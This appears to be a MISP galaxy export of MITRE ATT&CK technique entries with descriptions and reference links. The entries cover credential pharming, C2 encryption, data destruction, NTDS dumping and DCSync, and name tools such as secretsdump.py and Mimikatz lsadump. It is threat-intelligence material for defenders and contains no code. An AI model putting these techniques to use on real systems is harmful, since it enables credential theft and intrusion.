Credential pharming a form of attack designed to steal users' credential by redirecting users to fraudulent websites. Pharming can be conducted either by changing the hosts file on a victim's computer or by exploitation of a vulnerability in DNS server software. (Citation: DriveByPharming) (Citation: GoogleDrive Phishing)

The tag is: *misp-galaxy:mitre-attack-pattern="Credential pharming - T1374"*

Table 4478. Table References

Links
https://attack.mitre.org/techniques/T1374

Encrypted Channel - T1573

Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.

The tag is: *misp-galaxy:mitre-attack-pattern="Encrypted Channel - T1573"*

Table 4479. Table References

Links
http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1573
https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html

Acquire Infrastructure - T1583

Adversaries may buy, lease, or rent infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation:

TrendmicroHideoutsLease) Additionally, botnets are available for rent or purchase.

Use of these infrastructure solutions allows an adversary to stage, launch, and execute an operation. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contact to third-party web services. Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.

The tag is: *misp-galaxy:mitre-attack-pattern="Acquire Infrastructure - T1583"*

Table 4480. Table References

Links
https://attack.mitre.org/techniques/T1583
https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf
https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2
https://threatconnect.com/blog/infrastructure-research-hunting/
https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation

Device Lockout - T1446

An adversary may seek to lock the legitimate user out of the device, for example to inhibit user interaction or to obtain a ransom payment.

On Android versions prior to 7, apps can abuse Device Administrator access to reset the device lock passcode to prevent the user from unlocking the device. After Android 7, only device or profile owners (e.g. MDMs) can reset the device’s passcode.(Citation: Android resetPassword)

On iOS devices, this technique does not work because mobile device management servers can only remove the screen lock passcode, they cannot set a new passcode. However, on jailbroken devices, malware has been discovered that can lock the user out of the device.(Citation: Xiao-KeyRaider)

The tag is: *misp-galaxy:mitre-attack-pattern="Device Lockout - T1446"*

Table 4481. Table References

Links
http://researchcenter.paloaltonetworks.com/2015/08/keyraider-ios-malware-steals-over-225000-apple-accounts-to-create-free-app-utopia/
https://attack.mitre.org/techniques/T1446
https://developer.android.com/reference/android/app/admin/DevicePolicyManager.html#resetPassword(java.lang.String,%20int)
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-28.html

Hide Artifacts - T1564

Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: MalwareBytes ADS July 2015)

Adversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020)

The tag is: *misp-galaxy:mitre-attack-pattern="Hide Artifacts - T1564"*

Table 4482. Table References

Links
https://attack.mitre.org/techniques/T1564
https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/
https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf
https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/
https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/

Compromise Infrastructure - T1584

Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, and third-party web and DNS services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.

Use of compromised infrastructure allows an adversary to stage, launch, and execute an operation. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) to further blend in and support staged information gathering and/or [Phishing](https://attack.mitre.org/techniques/T1566) campaigns.(Citation: FireEye DNS Hijack 2019)

By using compromised infrastructure, adversaries may make it difficult to tie their actions back to them. Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig)

The tag is: *misp-galaxy:mitre-attack-pattern="Compromise Infrastructure - T1584"*

Table 4483. Table References

Links
https://attack.mitre.org/techniques/T1584
https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html
https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf
https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2
https://threatconnect.com/blog/infrastructure-research-hunting/
https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html
https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf
https://www.icann.org/groups/ssac/documents/sac-007-en
https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation

Data Destruction - T1485

Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as <code>del</code> and <code>rm</code> often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.

Adversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)

To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill

2017)(Citation: Talos Olympic Destroyer 2018).

In cloud environments, adversaries may leverage access to delete cloud storage, cloud storage accounts, machine images, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ - Cisco Insider)

The tag is: *misp-galaxy:mitre-attack-pattern="Data Destruction - T1485"*

Table 4484. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/
https://attack.mitre.org/techniques/T1485
https://blog.talosintelligence.com/2018/02/olympic-destroyer.html
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf
https://threatpost.com/hacker-puts-hosting-service-code-spaces-out-of-business/106761/
https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/
https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html
https://www.justice.gov/usao-ndca/pr/san-jose-man-pleads-guilty-damaging-cisco-s-network
https://www.symantec.com/connect/blogs/shamoon-attacks

Firmware Corruption - T1495

Adversaries may overwrite or corrupt the flash memory contents of system BIOS or other firmware in devices attached to a system in order to render them inoperable or unable to boot, thus denying the availability to use the devices and/or the system.(Citation: Symantec Chernobyl W95.CIH) Firmware is software that is loaded and executed from non-volatile memory on hardware devices in order to initialize and manage device functionality. These devices could include the motherboard, hard drive, or video cards.

In general, adversaries may manipulate, overwrite, or corrupt firmware in order to deny the use of the system or devices. Depending on the device, this attack may also result in [Data Destruction](https://attack.mitre.org/techniques/T1485).

The tag is: *misp-galaxy:mitre-attack-pattern="Firmware Corruption - T1495"*

Table 4485. Table References

Links
http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research
https://attack.mitre.org/techniques/T1495

https://web.archive.org/web/20190508170055/https://www.symantec.com/security-center/writeup/2000-122010-2655-99

Resource Hijacking - T1496

Adversaries may leverage the resources of co-opted systems in order to solve resource intensive problems, which may impact system and/or hosted service availability.

One common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining.(Citation: CloudSploit - Unused AWS Regions) Containerized environments may also be targeted due to the ease of deployment via exposed APIs and the potential for scaling mining activities by deploying or compromising multiple containers within an environment or cluster.(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro Exposed Docker APIs)

Additionally, some cryptocurrency mining malware identify then kill off processes for competing malware to ensure it's not competing for resources.(Citation: Trend Micro War of Crypto Miners)

Adversaries may also use malware that leverages a system's network bandwidth as part of a botnet in order to facilitate [Network Denial of Service](https://attack.mitre.org/techniques/T1498) campaigns and/or to seed malicious torrents.(Citation: GoBotKR)

The tag is: *misp-galaxy:mitre-attack-pattern="Resource Hijacking - T1496"*

Table 4486. Table References

Links
https://attack.mitre.org/techniques/T1496
https://blog.cloudsploit.com/the-danger-of-unused-aws-regions-af0bf1b878fc
https://securelist.com/lazarus-under-the-hood/77908/
https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/
https://www.trendmicro.com/en_us/research/19/e/infected-cryptocurrency-mining-containers-target-docker-hosts-with-exposed-apis-use-shodan-to-find-additional-victims.html
https://www.trendmicro.com/en_us/research/20/i/war-of-linux-cryptocurrency-miners-a-battle-for-resources.html
https://www.welivesecurity.com/2019/07/08/south-korean-users-backdoor-torrents/

Service Stop - T1489

Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos

Olympic Destroyer 2018)(Citation: Novetta Blockbuster)

Adversaries may accomplish this by disabling individual services of high importance to an organization, such as <code>MSExchangeIS</code>, which will make Exchange content inaccessible (Citation: Novetta Blockbuster). In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis)

The tag is: *misp-galaxy:mitre-attack-pattern="Service Stop - T1489"*

Table 4487. Table References

Links
https://attack.mitre.org/techniques/T1489
https://blog.talosintelligence.com/2018/02/olympic-destroyer.html
https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf
https://www.secureworks.com/research/wcry-ransomware-analysis

Data Manipulation - T1565

Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.

The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.

The tag is: *misp-galaxy:mitre-attack-pattern="Data Manipulation - T1565"*

Table 4488. Table References

Links
https://attack.mitre.org/techniques/T1565

Native Code - T1575

Adversaries may use Android's Native Development Kit (NDK) to write native functions that can achieve execution of binaries or functions. Like system calls on a traditional desktop operating system, native code achieves execution on a lower level than normal Android SDK calls.

The NDK allows developers to write native code in C or C++ that is compiled directly to machine code, avoiding all intermediate languages and steps in compilation that higher level languages, like Java, typically have. The Java Native Interface (JNI) is the component that allows Java functions in the Android app to call functions in a native library.(Citation: Google NDK Getting Started)

Adversaries may also choose to use native functions to execute malicious code since native actions are typically much more difficult to analyze than standard, non-native behaviors.(Citation: MITRE App Vetting Effectiveness)

The tag is: *misp-galaxy:mitre-attack-pattern="Native Code - T1575"*

Table 4489. Table References

Links
https://attack.mitre.org/techniques/T1575
https://developer.android.com/ndk/guides
https://www.mitre.org/sites/default/files/publications/pr-16-4772-analyzing-effectiveness-mobile-app-vetting-tools-report.pdf

Establish Accounts - T1585

Adversaries may create and cultivate accounts with services that can be used during targeting. Adversaries can create accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)

For operations incorporating social engineering, the utilization of an online persona may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.). Establishing a persona may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)

Establishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1)

The tag is: *misp-galaxy:mitre-attack-pattern="Establish Accounts - T1585"*

Table 4490. Table References

Links
http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf
https://attack.mitre.org/techniques/T1585
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation

Active Scanning - T1595

Adversaries may execute active reconnaissance scans to gather information that can be used during targeting. Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction.

Adversaries may perform different forms of active scanning depending on what information they seek to gather. These scans can also be performed in various ways, including using native features of network protocols such as ICMP.(Citation: Botnet Scan)(Citation: OWASP Fingerprinting) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).

The tag is: *misp-galaxy:mitre-attack-pattern="Active Scanning - T1595"*

Table 4491. Table References

Links
https://attack.mitre.org/techniques/T1595
https://wiki.owasp.org/index.php/OAT-004_Fingerprinting
https://www.caida.org/publications/papers/2012/analysis_slash_zero/analysis_slash_zero.pdf

Compromise Accounts - T1586

Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. [Establish Accounts](https://attack.mitre.org/techniques/T1585)), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona.

A variety of methods exist for compromising accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.

Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.

Adversaries may directly leverage compromised email accounts for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).

The tag is: *misp-galaxy:mitre-attack-pattern="Compromise Accounts - T1586"*

Table 4492. Table References

Links
https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/
https://attack.mitre.org/techniques/T1586

Dynamic Resolution - T1568

Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.

Adversaries may use dynamic resolution for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)

The tag is: *misp-galaxy:mitre-attack-pattern="Dynamic Resolution - T1568"*

Table 4493. Table References

Links
http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html
https://attack.mitre.org/techniques/T1568
https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/
https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html
https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/

System Services - T1569

Adversaries may abuse system services or daemons to execute commands or programs. Adversaries can execute malicious content by interacting with or creating services either locally or remotely. Many services are set to run at boot, which can aid in achieving persistence ([Create or Modify System Process](https://attack.mitre.org/techniques/T1543)), but adversaries can also abuse services for one-time or temporary execution.

The tag is: *misp-galaxy:mitre-attack-pattern="System Services - T1569"*

Table 4494. Table References

Links
https://attack.mitre.org/techniques/T1569

Develop Capabilities - T1587

Adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: Bitdefender StrongPity June 2020)(Citation: Talos Promethium June 2020)

As with legitimate development efforts, different skill sets may be required for developing capabilities. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability.

The tag is: *misp-galaxy:mitre-attack-pattern="Develop Capabilities - T1587"*

Table 4495. Table References

Links
https://attack.mitre.org/techniques/T1587
https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html
https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/
https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf
https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html

Obtain Capabilities - T1588

Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle.

In addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab)

In addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise)

The tag is: *misp-galaxy:mitre-attack-pattern="Obtain Capabilities - T1588"*

Table 4496. Table References

Links
https://attack.mitre.org/techniques/T1588
https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/
https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/
https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop
https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html
https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/
https://www.recordedfuture.com/cobalt-strike-servers/
https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html

Adversary-in-the-Middle - T1557

Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)

For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner) [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)s can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_att)

Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to [Impair Defenses](https://attack.mitre.org/techniques/T1562) and/or in support of a [Network Denial of Service](https://attack.mitre.org/techniques/T1498).

The tag is: *misp-galaxy:mitre-attack-pattern="Adversary-in-the-Middle - T1557"*

Table 4497. Table References

Links
https://arxiv.org/abs/1809.05681
https://attack.mitre.org/techniques/T1557
https://blog.netlab.360.com/ttint-an-iot-remote-control-trojan-spread-through-2-0-day-vulnerabilities/
https://capec.mitre.org/data/definitions/94.html
https://securelist.com/ad-blocker-with-miner-included/101105/
https://tlseminar.github.io/downgrade-attacks/
https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/
https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/125/how-dns-changer-trojans-direct-users-to-threats

Add-ins - T1137.006

Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins) There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. (Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018)

Add-ins can be used to obtain persistence because they can be set to execute code when an Office application starts.

The tag is: *misp-galaxy:mitre-attack-pattern="Add-ins - T1137.006"*

Table 4498. Table References

Links
https://attack.mitre.org/techniques/T1137/006
https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s03-youve-got-mail.pdf
https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460
https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique

Regsvcs/Regasm - T1218.009

Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are binaries that may be digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)

Both utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)

The tag is: *misp-galaxy:mitre-attack-pattern="Regsvcs/Regasm - T1218.009"*

Table 4499. Table References

Links
https://attack.mitre.org/techniques/T1218/009
https://lolbas-project.github.io/lolbas/Binaries/Regasm/
https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/
https://msdn.microsoft.com/en-us/library/04za0hca.aspx
https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx

Steganography - T1001.002

Adversaries may use steganographic techniques to hide command and control traffic to make detection efforts more difficult. Steganographic techniques can be used to hide data in digital messages that are transferred between systems. This hidden information can be used for command and control of compromised systems. In some cases, the passing of files embedded using steganography, such as image or document files, can be used for command and control.

The tag is: *misp-galaxy:mitre-attack-pattern="Steganography - T1001.002"*

Table 4500. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1001/002

NTDS - T1003.003

Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in <code>%SystemRoot%\NTDS\Ntds.dit</code> of a domain controller.(Citation: Wikipedia Active Directory)

In addition to looking for NTDS files on active Domain Controllers, adversaries may search for backups that contain the same or similar information.(Citation: Metcalf 2015)

The following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.

- Volume Shadow Copy
- secretsdump.py
- Using the in-built Windows tool, ntdsutil.exe
- Invoke-NinjaCopy

The tag is: *misp-galaxy:mitre-attack-pattern="NTDS - T1003.003"*

Table 4501. Table References

Links
http://adsecurity.org/?p=1275
https://attack.mitre.org/techniques/T1003/003
https://en.wikipedia.org/wiki/Active_Directory

DCSync - T1003.006

Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's application programming interface (API)(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller using a technique called DCSync.

Members of the Administrators, Domain Admins, and Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data(Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003)(Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098).(Citation: InsiderThreat ChangeNTLM July 2017)

DCSync functionality has been included in the "lsadump" module in [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol.(Citation: Microsoft NRPC Dec 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="DCSync - T1003.006"*

Table 4502. Table References

Links
http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/
https://adsecurity.org/?p=1729
https://attack.mitre.org/techniques/T1003/006
https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM
https://github.com/gentilkiwi/mimikatz/wiki/module--lsadump[https://github.com/gentilkiwi/mimikatz/wiki/module--lsadump]
https://msdn.microsoft.com/library/cc228086.aspx
https://msdn.microsoft.com/library/cc237008.aspx
https://msdn.microsoft.com/library/cc245496.aspx
https://msdn.microsoft.com/library/dd207691.aspx
https://source.winehq.org/WineAPI/samlib.html
https://wiki.samba.org/index.php/DRSUAPI

Timestomp - T1070.006

Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.

Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques)

The tag is: *misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006"*

Table 4503. Table References

Links
http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html
https://attack.mitre.org/techniques/T1070/006

SSH - T1021.004

Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user.

SSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user's public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user.

The tag is: *misp-galaxy:mitre-attack-pattern="SSH - T1021.004"*

Table 4504. Table References

Links
https://attack.mitre.org/techniques/T1021/004
